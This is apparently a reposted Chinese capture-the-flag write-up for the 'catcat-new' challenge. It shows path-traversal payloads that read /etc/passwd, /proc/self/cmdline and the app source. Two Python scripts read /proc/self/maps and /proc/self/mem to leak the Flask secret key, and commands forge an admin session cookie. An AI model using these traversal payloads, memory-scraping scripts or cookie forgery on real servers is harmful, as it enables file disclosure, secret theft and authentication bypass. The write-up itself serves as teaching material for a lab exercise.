当前位置: 首页 > article >正文

攻防世界33 catcat-new【文件包含/flask_session伪造】

 题目:

点击一只猫猫:

看这个url像是文件包含漏洞,试试

 dirsearch扫出来/admin,访问也没成功(--delay 0.1 -t 5)

会的那几招全用不了了哈哈,那就继续看答案

先总结几个知识点

1./etc/passwd:是一个文本文件,存储了系统中所有用户的基本信息,任何用户都可以读取该文件,但只有超级用户(root)可以修改它,该文件的存在有助于系统识别和管理用户账户。

文件中的每一行代表一个用户账户,每行由冒号 : 分隔成 7 个字段,基本格式:

用户名:口令(密码):用户标识号(UID):组标识号(GID):注释性描述(相当于备注):用户主目录(用户登录系统后默认进入的目录):登录Shell(用户登录系统后默认使用的shell程序)

2. /proc/self proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据,通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据

3./proc/self/cmdline 包含了当前进程启动时所使用的完整命令行参数(用来分析服务器运行环境,配置参数)。

4./proc/self/mem  当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

5./proc/self/maps   包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。

6.flask的session构造序列化内容+时间+防篡改值,默认session的储存是在用户Cookie

7./proc/self/environ该文件包含了当前进程的环境变量

8./proc/self/fd这是一个目录,该目录下的文件包含着当前进程打开的文件的内容和路径。这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的fd目录下的pid文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容。通过/proc/self/fd/§pid§来查看你当前进程所打开的文件内容。

当pid不知道时,我们可以通过bp爆破,pid是数字。

9./proc/self/exe获取当前进程的可执行文件的路径

做法: 

搜索信息

1.file=../../etc/passwd(利用文件包含漏洞,会直接包含这个文件,前面../不够就多加几个)

b'root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nutmp:x:100:406:utmp:/home/utmp:/bin/false\n'

 2.file=../../proc/self/cmdline(分析服务器运行环境,配置参数)

b'python\x00app.py\x00'

说明当前进程是通过python app.py进行的,推测当前站点使用的是python的flask框架,该文件常常为flask项目结构中的主程序文件

获得源代码 

3.获取app.py

b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)' 

 格式化输出的代码

#需要格式化的代码
code_str = '''import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n    __name__,\n    static_url_path=\'/\', \n    static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n    flag = cat("/flag")\n    os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n    detailtxt = os.listdir(\'./details/\')\n    cats_list = []\n    for i in detailtxt:\n        cats_list.append(i[:i.index(\'.\')])\n\n    return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n    filename = "./details/" + request.args.get(\'file\', "")\n    start = request.args.get(\'start\', "0")\n    end = request.args.get(\'end\', "0")\n    name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n\n    return render_template("detail.html", catname=name, info=cat(filename, start, end))\n\n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n    if session.get(\'admin\') == 1:\n        return flag\n    else:\n        session[\'admin\'] = 0\n        return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n    app.run(host=\'0.0.0.0\', debug=False, port=5637)'''
 
# 按行分割字符串
lines = code_str.split('\n')
 
indented_lines = [line if line.strip() else '' for line in lines]
 
# 连接并打印格式化后的代码
formatted_code = '\n'.join(indented_lines)
print(formatted_code)

得到结果

import os  #与操作系统交互
import uuid #用于生成和操作通用唯一识别码uuid,此处用于生成 Flask 应用的 SECRET_KEY
from flask import Flask, request, session, render_template, Markup
from cat import cat
#关于这些模块的作用:
#Flask:用于创建 Flask 应用实例
#request:用于处理客户端发送的请求,获取请求中的参数
#session:用于管理用户会话,存储用户的会话数据
#render_template:用于渲染 HTML 模板
#Markup:用于处理 HTML 标记

flag = "" #初始化
#创建flask应用实例
app = Flask(
    __name__,
    static_url_path='/', 
    static_folder='static' 
)
#设置 Flask 应用的 SECRET_KEY,用于会话管理和消息签名。
#这里使用 UUID 生成一个随机的密钥,并去除其中的连字符,再加上固定的字符串 *abcdefgh
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
#检查 /flag 文件是否存在
if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")

#访问根路径的时候,执行index函数
@app.route('/', methods=['GET'])
def index():
#os.listdir:获取./details/目录下所有文件名
    detailtxt = os.listdir('./details/')
    cats_list = []  #创建列表,用于存储文件名去除扩展名后的部分
#i 是循环变量,在每次循环中,i 会依次取 detailtxt 列表中的每个元素  
    for i in detailtxt:
#index()用于查找字符串中指定字符(也就是i)第一次出现的位置(索引为0)
#i[:i.index('.')]:截取字符串的一部分。表示从字符串 i 的开头截取到.出现的位置(不包含.)
#append()用于在列表的末尾添加一个元素。
        cats_list.append(i[:i.index('.')])

#渲染 index.html 模板,并将 cats_list 和 cat 函数传递给模板。
    return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
#request.args.get('file', ""):从HTTP请求的查询参数中获取 file 参数的值
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))


#关键代码
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"


#启动应用
if __name__ == '__main__':#确保代码作为脚本直接运行时才启动 Flask 应用。
#启动 Flask 应用,监听所有网络接口(host='0.0.0.0'),关闭调试模式,并指定端口号为 5637。
    app.run(host='0.0.0.0', debug=False, port=5637)

关键点在于session中的admin只要为1,就可以拿到flag,这里就用到flask_session伪造,需要用到secret_key(通过内存数据读取),在读取内存数据文件/proc/self/mem之前,我们要先读取/proc/self/maps文件获取可读内容的内存映射地址。

获取secret_key

脚本1

先用?file=../../../proc/self/maps

将返回的内容保存在txt (但是运行没成功?。。)

import re
import requests
 
maps = open('攻防世界-catcat-new/test.txt')  # 打开名为 'test.txt' 的文件并赋值给变量 maps
b = maps.read()  # 读取文件内容并赋值给变量 b
lst = b.split('\\n')  # 根据换行符 '\n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。
 
for line in lst:  # 遍历列表 lst 中的每一行内容
    if 'rw' in line:  # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line)  # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中
        start = int(addr.group(1), 16)  # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 start
        end = int(addr.group(2), 16)  # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 end
        print(start, end)  # 打印起始地址和结束地址
 
        # 构造请求URL,用于读取 /proc/self/mem 文件的特定区域
        url = f"http://61.147.171.105:52968/info?file=../../../proc/self/mem&start={start}&end={end}"
        
        # 发送 GET 请求并获取响应
        response = requests.get(url)
        
        # 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEY
        secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)
        
        # 如果找到了 SECRET_KEY,则打印并结束循环
        if secret_key:
            print(secret_key)
            break
脚本2

原理跟脚本1一样,只不过这个不用手动访问/proc/self/maps了,把这些内存的映射地址裂成列表,然后找到有rw的(可读可写),再访问/proc/self/mem&start={起始地址}&end={终止地址}

这里的起始地址就是-前面的,终止地址就是-后面的,但是得把它转换成十进制,读取对应的内存,如果发现secret_key格式的东西就打印出来

 import requests
 import re  #支持正则表达式操作
 import sys #用于访问和操作 Python 解释器的各种设置和状态信息
  
 url = "http://61.147.171.105:59089/"
  
 #此程序只能运行于Python3以上
 if sys.version_info[0] < 3: # < 3.0
     raise Exception('Must be using at least Python 3')
  
 ​
 #由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
 s_key = ""
 bypass = "../.."
 #请求file路由进行读取
 map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
 map_list = map_list.text.split("\\n")
 for i in map_list:
     #匹配指定格式的地址
     map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
     if map_addr:
     #将提取到的十六进制地址字符串转换为十进制整数。
     #group() 是匹配对象的一个方法,用于获取指定捕获组匹配到的内容。
     #group(1) 表示获取第一个捕获组(即起始地址)匹配到的字符串      
         start = int(map_addr.group(1), 16)
         end = int(map_addr.group(2), 16)
         # print("Found rw addr:", start, "-", end)
         #设置起始和结束位置并读取/proc/self/mem(内存内容)
         res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
         #f表示这是一个f-string,可以嵌入表达式
         print(f'{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}')
         #用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
         if "*abcdefgh" in res.text:
             #正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
             secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
             if secret_key:
                 print("Secret Key:", secret_key[0])
                 s_key = secret_key[0]
                 break

抓包获得session

利用flask-session-cookie-manager-master解码:

python flask_session_cookie_manager3.py decode -s "4cdfceee9981498794c8408a1b375c4e*abcdefgh" -c "eyJhZG1pbiI6MH0.Z6l7pw.aOjXfOfFgyi-BipJJiG8ZnHNbjA"

 再将{'admin':1}编码:

python flask_session_cookie_manager3.py encode -s "4cdfceee9981498794c8408a1b375c4e*abcdefgh" -t "{'admin':1}"

刷新一下/admin界面,然后修改session  

拿到flag 

参考:攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园


http://www.kler.cn/a/540925.html

相关文章:

  • 拾取丢弃物品(结构体/数组/子UI/事件分发器)
  • 机器学习怎么学习,还有算法基本的源代码
  • DeepSeek本地部署详细指南
  • C# 比较两个List集合内容是否相同
  • 81页精品PPT | 华为流程与信息化实践与架构规划分享
  • apache-poi导出excel数据
  • 计算机毕业设计springboot+vue.js汽车销售管理系统(源码+文档+运行视频+讲解视频)
  • 使用Spring boot的@Transactional进行事务管理
  • INFINI Labs 产品更新 - Easysearch 增强 Rollup 能力,Console 完善 TopN 指标等
  • 北京青蓝智慧科技: 2025年ITSS IT服务项目经理的转型与挑战
  • 七、OSG学习笔记-碰撞检测
  • 顺丰java面试题_顺丰java开发面试分享,顺丰java面试经面试题
  • HAL库外设宝典:基于CubeMX的STM32开发手册(持续更新)
  • Spring Boot 中的日志配置
  • Java从入门到精通 第三版 读书笔记
  • 11. k8s二进制集群之容器运行时
  • 基于布谷鸟算法实现率定系数的starter
  • SPI通信及设备驱动
  • TCP长连接、HTTP短轮询、HTTP长轮询、HTTP长连接、WebSocket的区别
  • Wpf美化按钮,输入框,下拉框,dataGrid
  • 【AI学习】LLM的发展方向
  • Qt:Qt Creator项目创建
  • CEF132 编译指南 MacOS 篇 - 基础开发工具安装实战 (二)
  • 游戏引擎学习第93天
  • 【Java】多线程和高并发编程(三):锁(下)深入ReentrantReadWriteLock
  • C++ decltype 规则推导